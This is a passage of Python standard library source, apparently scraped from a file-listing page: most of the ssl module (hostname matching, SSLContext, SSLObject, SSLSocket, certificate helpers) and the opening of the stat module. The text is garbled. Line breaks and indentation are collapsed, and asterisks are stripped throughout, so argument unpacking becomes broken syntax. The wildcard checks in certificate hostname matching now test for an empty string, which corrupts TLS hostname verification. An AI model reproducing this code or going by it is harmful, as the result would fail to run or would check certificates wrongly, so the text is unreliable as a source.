_SSLMethod.__members__.items()} _SSLv2_IF_EXISTS = getattr(_SSLMethod, 'PROTOCOL_SSLv2', None) class TLSVersion(_IntEnum): MINIMUM_SUPPORTED = _ssl.PROTO_MINIMUM_SUPPORTED SSLv3 = _ssl.PROTO_SSLv3 TLSv1 = _ssl.PROTO_TLSv1 TLSv1_1 = _ssl.PROTO_TLSv1_1 TLSv1_2 = _ssl.PROTO_TLSv1_2 TLSv1_3 = _ssl.PROTO_TLSv1_3 MAXIMUM_SUPPORTED = _ssl.PROTO_MAXIMUM_SUPPORTED if sys.platform == "win32": from _ssl import enum_certificates, enum_crls from socket import socket, AF_INET, SOCK_STREAM, create_connection from socket import SOL_SOCKET, SO_TYPE import socket as _socket import base64 # for DER-to-PEM translation import errno import warnings socket_error = OSError # keep that public name in module namespace CHANNEL_BINDING_TYPES = ['tls-unique'] HAS_NEVER_CHECK_COMMON_NAME = hasattr(_ssl, 'HOSTFLAG_NEVER_CHECK_SUBJECT') _RESTRICTED_SERVER_CIPHERS = _DEFAULT_CIPHERS CertificateError = SSLCertVerificationError def _dnsname_match(dn, hostname): """Matching according to RFC 6125, section 6.4.3 - Hostnames are compared lower case. - For IDNA, both dn and hostname must be encoded as IDN A-label (ACE). - Partial wildcards like 'www.example.org', multiple wildcards, sole wildcard or wildcards in labels other then the left-most label are not supported and a CertificateError is raised. - A wildcard must match at least one character. """ if not dn: return False wildcards = dn.count('') # speed up common case w/o wildcards if not wildcards: return dn.lower() == hostname.lower() if wildcards > 1: raise CertificateError( "too many wildcards in certificate DNS name: {!r}.".format(dn)) dn_leftmost, sep, dn_remainder = dn.partition('.') if '' in dn_remainder: # Only match wildcard in leftmost segment. raise CertificateError( "wildcard can only be present in the leftmost label: " "{!r}.".format(dn)) if not sep: # no right side raise CertificateError( "sole wildcard without additional labels are not support: " "{!r}.".format(dn)) if dn_leftmost != '': # no partial wildcard matching raise CertificateError( "partial wildcards in leftmost label are not supported: " "{!r}.".format(dn)) hostname_leftmost, sep, hostname_remainder = hostname.partition('.') if not hostname_leftmost or not sep: # wildcard must match at least one char return False return dn_remainder.lower() == hostname_remainder.lower() def _inet_paton(ipname): """Try to convert an IP address to packed binary form Supports IPv4 addresses on all platforms and IPv6 on platforms with IPv6 support. """ # inet_aton() also accepts strings like '1', '127.1', some also trailing # data like '127.0.0.1 whatever'. try: addr = _socket.inet_aton(ipname) except OSError: # not an IPv4 address pass else: if _socket.inet_ntoa(addr) == ipname: # only accept injective ipnames return addr else: # refuse for short IPv4 notation and additional trailing data raise ValueError( "{!r} is not a quad-dotted IPv4 address.".format(ipname) ) try: return _socket.inet_pton(_socket.AF_INET6, ipname) except OSError: raise ValueError("{!r} is neither an IPv4 nor an IP6 " "address.".format(ipname)) except AttributeError: # AF_INET6 not available pass raise ValueError("{!r} is not an IPv4 address.".format(ipname)) def _ipaddress_match(cert_ipaddress, host_ip): """Exact matching of IP addresses. RFC 6125 explicitly doesn't define an algorithm for this (section 1.7.2 - "Out of Scope"). """ # OpenSSL may add a trailing newline to a subjectAltName's IP address, # commonly woth IPv6 addresses. Strip off trailing \n. ip = _inet_paton(cert_ipaddress.rstrip()) return ip == host_ip def match_hostname(cert, hostname): """Verify that cert (in decoded format as returned by SSLSocket.getpeercert()) matches the hostname. RFC 2818 and RFC 6125 rules are followed. The function matches IP addresses rather than dNSNames if hostname is a valid ipaddress string. IPv4 addresses are supported on all platforms. IPv6 addresses are supported on platforms with IPv6 support (AF_INET6 and inet_pton). CertificateError is raised on failure. On success, the function returns nothing. """ if not cert: raise ValueError("empty or no certificate, match_hostname needs a " "SSL socket or SSL context with either " "CERT_OPTIONAL or CERT_REQUIRED") try: host_ip = _inet_paton(hostname) except ValueError: # Not an IP address (common case) host_ip = None dnsnames = [] san = cert.get('subjectAltName', ()) for key, value in san: if key == 'DNS': if host_ip is None and _dnsname_match(value, hostname): return dnsnames.append(value) elif key == 'IP Address': if host_ip is not None and _ipaddress_match(value, host_ip): return dnsnames.append(value) if not dnsnames: # The subject is only checked when there is no dNSName entry # in subjectAltName for sub in cert.get('subject', ()): for key, value in sub: # XXX according to RFC 2818, the most specific Common Name # must be used. if key == 'commonName': if _dnsname_match(value, hostname): return dnsnames.append(value) if len(dnsnames) > 1: raise CertificateError("hostname %r " "doesn't match either of %s" % (hostname, ', '.join(map(repr, dnsnames)))) elif len(dnsnames) == 1: raise CertificateError("hostname %r " "doesn't match %r" % (hostname, dnsnames[0])) else: raise CertificateError("no appropriate commonName or " "subjectAltName fields were found") DefaultVerifyPaths = namedtuple("DefaultVerifyPaths", "cafile capath openssl_cafile_env openssl_cafile openssl_capath_env " "openssl_capath") def get_default_verify_paths(): """Return paths to default cafile and capath. """ parts = _ssl.get_default_verify_paths() # environment vars shadow paths cafile = os.environ.get(parts[0], parts[1]) capath = os.environ.get(parts[2], parts[3]) return DefaultVerifyPaths(cafile if os.path.isfile(cafile) else None, capath if os.path.isdir(capath) else None, parts) class _ASN1Object(namedtuple("_ASN1Object", "nid shortname longname oid")): """ASN.1 object identifier lookup """ __slots__ = () def __new__(cls, oid): return super().__new__(cls, _txt2obj(oid, name=False)) @classmethod def fromnid(cls, nid): """Create _ASN1Object from OpenSSL numeric ID """ return super().__new__(cls, _nid2obj(nid)) @classmethod def fromname(cls, name): """Create _ASN1Object from short name, long name or OID """ return super().__new__(cls, _txt2obj(name, name=True)) class Purpose(_ASN1Object, _Enum): """SSLContext purpose flags with X509v3 Extended Key Usage objects """ SERVER_AUTH = '1.3.6.1.5.5.7.3.1' CLIENT_AUTH = '1.3.6.1.5.5.7.3.2' class SSLContext(_SSLContext): """An SSLContext holds various SSL-related configuration options and data, such as certificates and possibly a private key.""" _windows_cert_stores = ("CA", "ROOT") sslsocket_class = None # SSLSocket is assigned later. sslobject_class = None # SSLObject is assigned later. def __new__(cls, protocol=PROTOCOL_TLS, args, kwargs): self = _SSLContext.__new__(cls, protocol) return self def _encode_hostname(self, hostname): if hostname is None: return None elif isinstance(hostname, str): return hostname.encode('idna').decode('ascii') else: return hostname.decode('ascii') def wrap_socket(self, sock, server_side=False, do_handshake_on_connect=True, suppress_ragged_eofs=True, server_hostname=None, session=None): # SSLSocket class handles server_hostname encoding before it calls # ctx._wrap_socket() return self.sslsocket_class._create( sock=sock, server_side=server_side, do_handshake_on_connect=do_handshake_on_connect, suppress_ragged_eofs=suppress_ragged_eofs, server_hostname=server_hostname, context=self, session=session ) def wrap_bio(self, incoming, outgoing, server_side=False, server_hostname=None, session=None): # Need to encode server_hostname here because _wrap_bio() can only # handle ASCII str. return self.sslobject_class._create( incoming, outgoing, server_side=server_side, server_hostname=self._encode_hostname(server_hostname), session=session, context=self, ) def set_npn_protocols(self, npn_protocols): protos = bytearray() for protocol in npn_protocols: b = bytes(protocol, 'ascii') if len(b) == 0 or len(b) > 255: raise SSLError('NPN protocols must be 1 to 255 in length') protos.append(len(b)) protos.extend(b) self._set_npn_protocols(protos) def set_servername_callback(self, server_name_callback): if server_name_callback is None: self.sni_callback = None else: if not callable(server_name_callback): raise TypeError("not a callable object") def shim_cb(sslobj, servername, sslctx): servername = self._encode_hostname(servername) return server_name_callback(sslobj, servername, sslctx) self.sni_callback = shim_cb def set_alpn_protocols(self, alpn_protocols): protos = bytearray() for protocol in alpn_protocols: b = bytes(protocol, 'ascii') if len(b) == 0 or len(b) > 255: raise SSLError('ALPN protocols must be 1 to 255 in length') protos.append(len(b)) protos.extend(b) self._set_alpn_protocols(protos) def _load_windows_store_certs(self, storename, purpose): certs = bytearray() try: for cert, encoding, trust in enum_certificates(storename): # CA certs are never PKCS#7 encoded if encoding == "x509_asn": if trust is True or purpose.oid in trust: certs.extend(cert) except PermissionError: warnings.warn("unable to enumerate Windows certificate store") if certs: self.load_verify_locations(cadata=certs) return certs def load_default_certs(self, purpose=Purpose.SERVER_AUTH): if not isinstance(purpose, _ASN1Object): raise TypeError(purpose) if sys.platform == "win32": for storename in self._windows_cert_stores: self._load_windows_store_certs(storename, purpose) self.set_default_verify_paths() if hasattr(_SSLContext, 'minimum_version'): @property def minimum_version(self): return TLSVersion(super().minimum_version) @minimum_version.setter def minimum_version(self, value): if value == TLSVersion.SSLv3: self.options &= ~Options.OP_NO_SSLv3 super(SSLContext, SSLContext).minimum_version.__set__(self, value) @property def maximum_version(self): return TLSVersion(super().maximum_version) @maximum_version.setter def maximum_version(self, value): super(SSLContext, SSLContext).maximum_version.__set__(self, value) @property def options(self): return Options(super().options) @options.setter def options(self, value): super(SSLContext, SSLContext).options.__set__(self, value) if hasattr(_ssl, 'HOSTFLAG_NEVER_CHECK_SUBJECT'): @property def hostname_checks_common_name(self): ncs = self._host_flags & _ssl.HOSTFLAG_NEVER_CHECK_SUBJECT return ncs != _ssl.HOSTFLAG_NEVER_CHECK_SUBJECT @hostname_checks_common_name.setter def hostname_checks_common_name(self, value): if value: self._host_flags &= ~_ssl.HOSTFLAG_NEVER_CHECK_SUBJECT else: self._host_flags \|= _ssl.HOSTFLAG_NEVER_CHECK_SUBJECT else: @property def hostname_checks_common_name(self): return True @property def protocol(self): return _SSLMethod(super().protocol) @property def verify_flags(self): return VerifyFlags(super().verify_flags) @verify_flags.setter def verify_flags(self, value): super(SSLContext, SSLContext).verify_flags.__set__(self, value) @property def verify_mode(self): value = super().verify_mode try: return VerifyMode(value) except ValueError: return value @verify_mode.setter def verify_mode(self, value): super(SSLContext, SSLContext).verify_mode.__set__(self, value) def create_default_context(purpose=Purpose.SERVER_AUTH, , cafile=None, capath=None, cadata=None): """Create a SSLContext object with default settings. NOTE: The protocol and settings may change anytime without prior deprecation. The values represent a fair balance between maximum compatibility and security. """ if not isinstance(purpose, _ASN1Object): raise TypeError(purpose) # SSLContext sets OP_NO_SSLv2, OP_NO_SSLv3, OP_NO_COMPRESSION, # OP_CIPHER_SERVER_PREFERENCE, OP_SINGLE_DH_USE and OP_SINGLE_ECDH_USE # by default. context = SSLContext(PROTOCOL_TLS) if purpose == Purpose.SERVER_AUTH: # verify certs and host name in client mode context.verify_mode = CERT_REQUIRED context.check_hostname = True if cafile or capath or cadata: context.load_verify_locations(cafile, capath, cadata) elif context.verify_mode != CERT_NONE: # no explicit cafile, capath or cadata but the verify mode is # CERT_OPTIONAL or CERT_REQUIRED. Let's try to load default system # root CA certificates for the given purpose. This may fail silently. context.load_default_certs(purpose) return context def _create_unverified_context(protocol=PROTOCOL_TLS, , cert_reqs=CERT_NONE, check_hostname=False, purpose=Purpose.SERVER_AUTH, certfile=None, keyfile=None, cafile=None, capath=None, cadata=None): """Create a SSLContext object for Python stdlib modules All Python stdlib modules shall use this function to create SSLContext objects in order to keep common settings in one place. The configuration is less restrict than create_default_context()'s to increase backward compatibility. """ if not isinstance(purpose, _ASN1Object): raise TypeError(purpose) # SSLContext sets OP_NO_SSLv2, OP_NO_SSLv3, OP_NO_COMPRESSION, # OP_CIPHER_SERVER_PREFERENCE, OP_SINGLE_DH_USE and OP_SINGLE_ECDH_USE # by default. context = SSLContext(protocol) if not check_hostname: context.check_hostname = False if cert_reqs is not None: context.verify_mode = cert_reqs if check_hostname: context.check_hostname = True if keyfile and not certfile: raise ValueError("certfile must be specified") if certfile or keyfile: context.load_cert_chain(certfile, keyfile) # load CA root certs if cafile or capath or cadata: context.load_verify_locations(cafile, capath, cadata) elif context.verify_mode != CERT_NONE: # no explicit cafile, capath or cadata but the verify mode is # CERT_OPTIONAL or CERT_REQUIRED. Let's try to load default system # root CA certificates for the given purpose. This may fail silently. context.load_default_certs(purpose) return context # Used by http.client if no context is explicitly passed. _create_default_https_context = create_default_context # Backwards compatibility alias, even though it's not a public name. _create_stdlib_context = _create_unverified_context class SSLObject: """This class implements an interface on top of a low-level SSL object as implemented by OpenSSL. This object captures the state of an SSL connection but does not provide any network IO itself. IO needs to be performed through separate "BIO" objects which are OpenSSL's IO abstraction layer. This class does not have a public constructor. Instances are returned by ``SSLContext.wrap_bio``. This class is typically used by framework authors that want to implement asynchronous IO for SSL through memory buffers. When compared to ``SSLSocket``, this object lacks the following features: Any form of network IO, including methods such as ``recv`` and ``send``. * The ``do_handshake_on_connect`` and ``suppress_ragged_eofs`` machinery. """ def __init__(self, args, kwargs): raise TypeError( f"{self.__class__.__name__} does not have a public " f"constructor. Instances are returned by SSLContext.wrap_bio()." ) @classmethod def _create(cls, incoming, outgoing, server_side=False, server_hostname=None, session=None, context=None): self = cls.__new__(cls) sslobj = context._wrap_bio( incoming, outgoing, server_side=server_side, server_hostname=server_hostname, owner=self, session=session ) self._sslobj = sslobj return self @property def context(self): """The SSLContext that is currently in use.""" return self._sslobj.context @context.setter def context(self, ctx): self._sslobj.context = ctx @property def session(self): """The SSLSession for client socket.""" return self._sslobj.session @session.setter def session(self, session): self._sslobj.session = session @property def session_reused(self): """Was the client session reused during handshake""" return self._sslobj.session_reused @property def server_side(self): """Whether this is a server-side socket.""" return self._sslobj.server_side @property def server_hostname(self): """The currently set server hostname (for SNI), or ``None`` if no server hostame is set.""" return self._sslobj.server_hostname def read(self, len=1024, buffer=None): """Read up to 'len' bytes from the SSL object and return them. If 'buffer' is provided, read into this buffer and return the number of bytes read. """ if buffer is not None: v = self._sslobj.read(len, buffer) else: v = self._sslobj.read(len) return v def write(self, data): """Write 'data' to the SSL object and return the number of bytes written. The 'data' argument must support the buffer interface. """ return self._sslobj.write(data) def getpeercert(self, binary_form=False): """Returns a formatted version of the data in the certificate provided by the other end of the SSL channel. Return None if no certificate was provided, {} if a certificate was provided, but not validated. """ return self._sslobj.getpeercert(binary_form) def selected_npn_protocol(self): """Return the currently selected NPN protocol as a string, or ``None`` if a next protocol was not negotiated or if NPN is not supported by one of the peers.""" if _ssl.HAS_NPN: return self._sslobj.selected_npn_protocol() def selected_alpn_protocol(self): """Return the currently selected ALPN protocol as a string, or ``None`` if a next protocol was not negotiated or if ALPN is not supported by one of the peers.""" if _ssl.HAS_ALPN: return self._sslobj.selected_alpn_protocol() def cipher(self): """Return the currently selected cipher as a 3-tuple ``(name, ssl_version, secret_bits)``.""" return self._sslobj.cipher() def shared_ciphers(self): """Return a list of ciphers shared by the client during the handshake or None if this is not a valid server connection. """ return self._sslobj.shared_ciphers() def compression(self): """Return the current compression algorithm in use, or ``None`` if compression was not negotiated or not supported by one of the peers.""" return self._sslobj.compression() def pending(self): """Return the number of bytes that can be read immediately.""" return self._sslobj.pending() def do_handshake(self): """Start the SSL/TLS handshake.""" self._sslobj.do_handshake() def unwrap(self): """Start the SSL shutdown handshake.""" return self._sslobj.shutdown() def get_channel_binding(self, cb_type="tls-unique"): """Get channel binding data for current connection. Raise ValueError if the requested `cb_type` is not supported. Return bytes of the data or None if the data is not available (e.g. before the handshake).""" return self._sslobj.get_channel_binding(cb_type) def version(self): """Return a string identifying the protocol version used by the current SSL channel. """ return self._sslobj.version() def verify_client_post_handshake(self): return self._sslobj.verify_client_post_handshake() def _sslcopydoc(func): """Copy docstring from SSLObject to SSLSocket""" func.__doc__ = getattr(SSLObject, func.__name__).__doc__ return func class SSLSocket(socket): """This class implements a subtype of socket.socket that wraps the underlying OS socket in an SSL context when necessary, and provides read and write methods over that channel. """ def __init__(self, args, kwargs): raise TypeError( f"{self.__class__.__name__} does not have a public " f"constructor. Instances are returned by " f"SSLContext.wrap_socket()." ) @classmethod def _create(cls, sock, server_side=False, do_handshake_on_connect=True, suppress_ragged_eofs=True, server_hostname=None, context=None, session=None): if sock.getsockopt(SOL_SOCKET, SO_TYPE) != SOCK_STREAM: raise NotImplementedError("only stream sockets are supported") if server_side: if server_hostname: raise ValueError("server_hostname can only be specified " "in client mode") if session is not None: raise ValueError("session can only be specified in " "client mode") if context.check_hostname and not server_hostname: raise ValueError("check_hostname requires server_hostname") kwargs = dict( family=sock.family, type=sock.type, proto=sock.proto, fileno=sock.fileno() ) self = cls.__new__(cls, kwargs) super(SSLSocket, self).__init__(*kwargs) self.settimeout(sock.gettimeout()) sock.detach() self._context = context self._session = session self._closed = False self._sslobj = None self.server_side = server_side self.server_hostname = context._encode_hostname(server_hostname) self.do_handshake_on_connect = do_handshake_on_connect self.suppress_ragged_eofs = suppress_ragged_eofs # See if we are connected try: self.getpeername() except OSError as e: if e.errno != errno.ENOTCONN: raise connected = False else: connected = True self._connected = connected if connected: # create the SSL object try: self._sslobj = self._context._wrap_socket( self, server_side, self.server_hostname, owner=self, session=self._session, ) if do_handshake_on_connect: timeout = self.gettimeout() if timeout == 0.0: # non-blocking raise ValueError("do_handshake_on_connect should not be specified for non-blocking sockets") self.do_handshake() except (OSError, ValueError): self.close() raise return self @property @_sslcopydoc def context(self): return self._context @context.setter def context(self, ctx): self._context = ctx self._sslobj.context = ctx @property @_sslcopydoc def session(self): if self._sslobj is not None: return self._sslobj.session @session.setter def session(self, session): self._session = session if self._sslobj is not None: self._sslobj.session = session @property @_sslcopydoc def session_reused(self): if self._sslobj is not None: return self._sslobj.session_reused def dup(self): raise NotImplementedError("Can't dup() %s instances" % self.__class__.__name__) def _checkClosed(self, msg=None): # raise an exception here if you wish to check for spurious closes pass def _check_connected(self): if not self._connected: # getpeername() will raise ENOTCONN if the socket is really # not connected; note that we can be connected even without # _connected being set, e.g. if connect() first returned # EAGAIN. self.getpeername() def read(self, len=1024, buffer=None): """Read up to LEN bytes and return them. Return zero-length string on EOF.""" self._checkClosed() if self._sslobj is None: raise ValueError("Read on closed or unwrapped SSL socket.") try: if buffer is not None: return self._sslobj.read(len, buffer) else: return self._sslobj.read(len) except SSLError as x: if x.args[0] == SSL_ERROR_EOF and self.suppress_ragged_eofs: if buffer is not None: return 0 else: return b'' else: raise def write(self, data): """Write DATA to the underlying SSL channel. Returns number of bytes of DATA actually transmitted.""" self._checkClosed() if self._sslobj is None: raise ValueError("Write on closed or unwrapped SSL socket.") return self._sslobj.write(data) @_sslcopydoc def getpeercert(self, binary_form=False): self._checkClosed() self._check_connected() return self._sslobj.getpeercert(binary_form) @_sslcopydoc def selected_npn_protocol(self): self._checkClosed() if self._sslobj is None or not _ssl.HAS_NPN: return None else: return self._sslobj.selected_npn_protocol() @_sslcopydoc def selected_alpn_protocol(self): self._checkClosed() if self._sslobj is None or not _ssl.HAS_ALPN: return None else: return self._sslobj.selected_alpn_protocol() @_sslcopydoc def cipher(self): self._checkClosed() if self._sslobj is None: return None else: return self._sslobj.cipher() @_sslcopydoc def shared_ciphers(self): self._checkClosed() if self._sslobj is None: return None else: return self._sslobj.shared_ciphers() @_sslcopydoc def compression(self): self._checkClosed() if self._sslobj is None: return None else: return self._sslobj.compression() def send(self, data, flags=0): self._checkClosed() if self._sslobj is not None: if flags != 0: raise ValueError( "non-zero flags not allowed in calls to send() on %s" % self.__class__) return self._sslobj.write(data) else: return super().send(data, flags) def sendto(self, data, flags_or_addr, addr=None): self._checkClosed() if self._sslobj is not None: raise ValueError("sendto not allowed on instances of %s" % self.__class__) elif addr is None: return super().sendto(data, flags_or_addr) else: return super().sendto(data, flags_or_addr, addr) def sendmsg(self, args, *kwargs): # Ensure programs don't send data unencrypted if they try to # use this method. raise NotImplementedError("sendmsg not allowed on instances of %s" % self.__class__) def sendall(self, data, flags=0): self._checkClosed() if self._sslobj is not None: if flags != 0: raise ValueError( "non-zero flags not allowed in calls to sendall() on %s" % self.__class__) count = 0 with memoryview(data) as view, view.cast("B") as byte_view: amount = len(byte_view) while count < amount: v = self.send(byte_view[count:]) count += v else: return super().sendall(data, flags) def sendfile(self, file, offset=0, count=None): """Send a file, possibly by using os.sendfile() if this is a clear-text socket. Return the total number of bytes sent. """ if self._sslobj is not None: return self._sendfile_use_send(file, offset, count) else: # os.sendfile() works with plain sockets only return super().sendfile(file, offset, count) def recv(self, buflen=1024, flags=0): self._checkClosed() if self._sslobj is not None: if flags != 0: raise ValueError( "non-zero flags not allowed in calls to recv() on %s" % self.__class__) return self.read(buflen) else: return super().recv(buflen, flags) def recv_into(self, buffer, nbytes=None, flags=0): self._checkClosed() if buffer and (nbytes is None): nbytes = len(buffer) elif nbytes is None: nbytes = 1024 if self._sslobj is not None: if flags != 0: raise ValueError( "non-zero flags not allowed in calls to recv_into() on %s" % self.__class__) return self.read(nbytes, buffer) else: return super().recv_into(buffer, nbytes, flags) def recvfrom(self, buflen=1024, flags=0): self._checkClosed() if self._sslobj is not None: raise ValueError("recvfrom not allowed on instances of %s" % self.__class__) else: return super().recvfrom(buflen, flags) def recvfrom_into(self, buffer, nbytes=None, flags=0): self._checkClosed() if self._sslobj is not None: raise ValueError("recvfrom_into not allowed on instances of %s" % self.__class__) else: return super().recvfrom_into(buffer, nbytes, flags) def recvmsg(self, args, *kwargs): raise NotImplementedError("recvmsg not allowed on instances of %s" % self.__class__) def recvmsg_into(self, args, **kwargs): raise NotImplementedError("recvmsg_into not allowed on instances of " "%s" % self.__class__) @_sslcopydoc def pending(self): self._checkClosed() if self._sslobj is not None: return self._sslobj.pending() else: return 0 def shutdown(self, how): self._checkClosed() self._sslobj = None super().shutdown(how) @_sslcopydoc def unwrap(self): if self._sslobj: s = self._sslobj.shutdown() self._sslobj = None return s else: raise ValueError("No SSL wrapper around " + str(self)) @_sslcopydoc def verify_client_post_handshake(self): if self._sslobj: return self._sslobj.verify_client_post_handshake() else: raise ValueError("No SSL wrapper around " + str(self)) def _real_close(self): self._sslobj = None super()._real_close() @_sslcopydoc def do_handshake(self, block=False): self._check_connected() timeout = self.gettimeout() try: if timeout == 0.0 and block: self.settimeout(None) self._sslobj.do_handshake() finally: self.settimeout(timeout) def _real_connect(self, addr, connect_ex): if self.server_side: raise ValueError("can't connect in server-side mode") # Here we assume that the socket is client-side, and not # connected at the time of the call. We connect it, then wrap it. if self._connected or self._sslobj is not None: raise ValueError("attempt to connect already-connected SSLSocket!") self._sslobj = self.context._wrap_socket( self, False, self.server_hostname, owner=self, session=self._session ) try: if connect_ex: rc = super().connect_ex(addr) else: rc = None super().connect(addr) if not rc: self._connected = True if self.do_handshake_on_connect: self.do_handshake() return rc except (OSError, ValueError): self._sslobj = None raise def connect(self, addr): """Connects to remote ADDR, and then wraps the connection in an SSL channel.""" self._real_connect(addr, False) def connect_ex(self, addr): """Connects to remote ADDR, and then wraps the connection in an SSL channel.""" return self._real_connect(addr, True) def accept(self): """Accepts a new connection from a remote client, and returns a tuple containing that new connection wrapped with a server-side SSL channel, and the address of the remote client.""" newsock, addr = super().accept() newsock = self.context.wrap_socket(newsock, do_handshake_on_connect=self.do_handshake_on_connect, suppress_ragged_eofs=self.suppress_ragged_eofs, server_side=True) return newsock, addr @_sslcopydoc def get_channel_binding(self, cb_type="tls-unique"): if self._sslobj is not None: return self._sslobj.get_channel_binding(cb_type) else: if cb_type not in CHANNEL_BINDING_TYPES: raise ValueError( "{0} channel binding type not implemented".format(cb_type) ) return None @_sslcopydoc def version(self): if self._sslobj is not None: return self._sslobj.version() else: return None # Python does not support forward declaration of types. SSLContext.sslsocket_class = SSLSocket SSLContext.sslobject_class = SSLObject def wrap_socket(sock, keyfile=None, certfile=None, server_side=False, cert_reqs=CERT_NONE, ssl_version=PROTOCOL_TLS, ca_certs=None, do_handshake_on_connect=True, suppress_ragged_eofs=True, ciphers=None): if server_side and not certfile: raise ValueError("certfile must be specified for server-side " "operations") if keyfile and not certfile: raise ValueError("certfile must be specified") context = SSLContext(ssl_version) context.verify_mode = cert_reqs if ca_certs: context.load_verify_locations(ca_certs) if certfile: context.load_cert_chain(certfile, keyfile) if ciphers: context.set_ciphers(ciphers) return context.wrap_socket( sock=sock, server_side=server_side, do_handshake_on_connect=do_handshake_on_connect, suppress_ragged_eofs=suppress_ragged_eofs ) # some utility functions def cert_time_to_seconds(cert_time): """Return the time in seconds since the Epoch, given the timestring representing the "notBefore" or "notAfter" date from a certificate in ``"%b %d %H:%M:%S %Y %Z"`` strptime format (C locale). "notBefore" or "notAfter" dates must use UTC (RFC 5280). Month is one of: Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec UTC should be specified as GMT (see ASN1_TIME_print()) """ from time import strptime from calendar import timegm months = ( "Jan","Feb","Mar","Apr","May","Jun", "Jul","Aug","Sep","Oct","Nov","Dec" ) time_format = ' %d %H:%M:%S %Y GMT' # NOTE: no month, fixed GMT try: month_number = months.index(cert_time[:3].title()) + 1 except ValueError: raise ValueError('time data %r does not match ' 'format "%%b%s"' % (cert_time, time_format)) else: # found valid month tt = strptime(cert_time[3:], time_format) # return an integer, the previous mktime()-based implementation # returned a float (fractional seconds are always zero here). return timegm((tt[0], month_number) + tt[2:6]) PEM_HEADER = "-----BEGIN CERTIFICATE-----" PEM_FOOTER = "-----END CERTIFICATE-----" def DER_cert_to_PEM_cert(der_cert_bytes): """Takes a certificate in binary DER format and returns the PEM version of it as a string.""" f = str(base64.standard_b64encode(der_cert_bytes), 'ASCII', 'strict') ss = [PEM_HEADER] ss += [f[i:i+64] for i in range(0, len(f), 64)] ss.append(PEM_FOOTER + '\n') return '\n'.join(ss) def PEM_cert_to_DER_cert(pem_cert_string): """Takes a certificate in ASCII PEM format and returns the DER-encoded version of it as a byte sequence""" if not pem_cert_string.startswith(PEM_HEADER): raise ValueError("Invalid PEM encoding; must start with %s" % PEM_HEADER) if not pem_cert_string.strip().endswith(PEM_FOOTER): raise ValueError("Invalid PEM encoding; must end with %s" % PEM_FOOTER) d = pem_cert_string.strip()[len(PEM_HEADER):-len(PEM_FOOTER)] return base64.decodebytes(d.encode('ASCII', 'strict')) def get_server_certificate(addr, ssl_version=PROTOCOL_TLS, ca_certs=None): """Retrieve the certificate from the server at the specified address, and return it as a PEM-encoded string. If 'ca_certs' is specified, validate the server cert against it. If 'ssl_version' is specified, use it in the connection attempt.""" host, port = addr if ca_certs is not None: cert_reqs = CERT_REQUIRED else: cert_reqs = CERT_NONE context = _create_stdlib_context(ssl_version, cert_reqs=cert_reqs, cafile=ca_certs) with create_connection(addr) as sock: with context.wrap_socket(sock) as sslsock: dercert = sslsock.getpeercert(True) return DER_cert_to_PEM_cert(dercert) def get_protocol_name(protocol_code): return _PROTOCOL_NAMES.get(protocol_code, '<unknown>')	44.43 KB	2024-04-17 17:55
📄 stat.py """Constants/functions for interpreting results of os.stat() and os.lstat(). Suggested usage: from stat import * """ # Indices for stat struct members in the tuple returned by os.stat() ST_MODE = 0 ST_INO = 1 ST_DEV = 2 ST_NLINK = 3 ST_UID = 4 ST_GID = 5 ST_SIZE = 6 ST_ATIME = 7 ST_MTIME = 8 ST_CTIME = 9 # Extract bits from the mode def S_IMODE(mode): """Return the portion of the file's mode that can be set by os.chmod(). """ return mode & 0o7777 def S_IFMT(mode): """Return the portion of the file's mode that describes the file type. """ return mode & 0o170000 # Constants used as S_IFMT() for various file types # (not all are implemented on all systems) S_IFDIR = 0o040000 # directory S_IFCHR = 0o020000 # character device S_IFBLK = 0o060000 # block device S_IFREG = 0o100000 # regular file S_IFIFO = 0o010000 # fifo (named pipe) S_IFLNK = 0o120000 # symbolic link S_IFSOCK = 0o140000 # socket file # Fallbacks for uncommon platform-specific constants S_IFDOOR = 0 S_IFPORT = 0 S_IFWHT = 0 # Functions to test for each file type def S_ISDIR(mode): """Return True if mode is from a directory.""" return S_IFMT(mode) == S_IFDIR def S_ISCHR(mode): """Return True if mode is from a character special device file.""" return S_IFMT(mode) == S_IFCHR def S_ISBLK(mode): """Return True if mode is from a block special device file.""" return S_IFMT(mode) == S_IFBLK def S_ISREG(mode): """Return True if mode is from a regular file.""" return S_IFMT(mode) == S_IFREG def S_ISFIFO(mode): """Return True if mode is from a FIFO (named pipe).""" return S_IFMT(mode) == S_IFIFO def S_ISLNK(mode): """Return True if mode is from a symbolic link.""" return S_IFMT(mode) == S_IFLNK def S_ISSOCK(mode): """Return True if mode is from a socket.""" return S_IFMT(mode) == S_IFSOCK def S_ISDOOR(mode): """Return True if mode is from a door.""" return False def S_ISPORT(mode): """Return True if mode is from an event port.""" return False def S_ISWHT(mode): """Return True if mode is from a whiteout.""" return False # Names for permission bits S_ISUID = 0o4000 # set UID bit S_ISGID = 0o2000 # set GID bit S_ENFMT = S_ISGID # file locking enforcement S_ISVTX = 0o1000 # sticky bit S_IREAD = 0o0400 # Unix V7 synonym for S_IRUSR S_IWRITE = 0o0200 # Unix V7 synonym for S_IWUSR S_IEXEC = 0o0100 # Unix V7 synonym for S_IXUSR S_IRWXU = 0o0700 # mask for owner permissions S_IRUSR = 0o0400 # read by owner S_IWUSR = 0o0200 # write by owner S_IXUSR = 0o0100 # execute by owner S_IRWXG = 0o0070 # mask for group permissions S_IRGRP = 0o0040 # read by group S_IWGRP = 0o0020 # write by group S_IXGRP = 0o0010 # execute by group S_IRWXO = 0o0007 # mask for others (not in group) permissions S_IROTH = 0o0004 # read by others S_IWOTH = 0o0002 # write by others S_IXOTH = 0o0001 # execute by others # Names for file flags UF_NODUMP = 0x00000001 # do not dump file UF_IMMUTABLE = 0x00000002 # file may not be changed UF_APPEND = 0x00000004 # file may only be appended to UF_OPAQUE = 0x00000008 # directory is opaque when viewed through a union stack UF_NOUNLINK = 0x00000010 # file may not be renamed or deleted UF_COMPRESSED = 0x00000020 # OS X: file is hfs-compressed UF_HIDDEN = 0x00008000 # OS X: file should not be displayed SF_ARCHIVED = 0x00010000 # file may be archived SF_IMMUTABLE = 0x00020000 # file may not be changed SF_APPEND = 0x00040000 # file may only be appended to SF_NOUNLINK = 0x00100000 # file may not be renamed or deleted SF_SNAPSHOT = 0x00200000 # file is a snapshot file _filemode_table = ( ((S_IFLNK, "l"), (S_IFREG, "-"), (S_IFBLK, "b"), (S_IFDIR, "d"), (S_IFCHR, "c"), (S_IFIFO, "p")), ((S_IRUSR, "r"),), ((S_IWUSR, "w"),), ((S_IXUSR\|S_ISUID, "s"), (S_ISUID, "S"), (S_IXUSR, "x")), 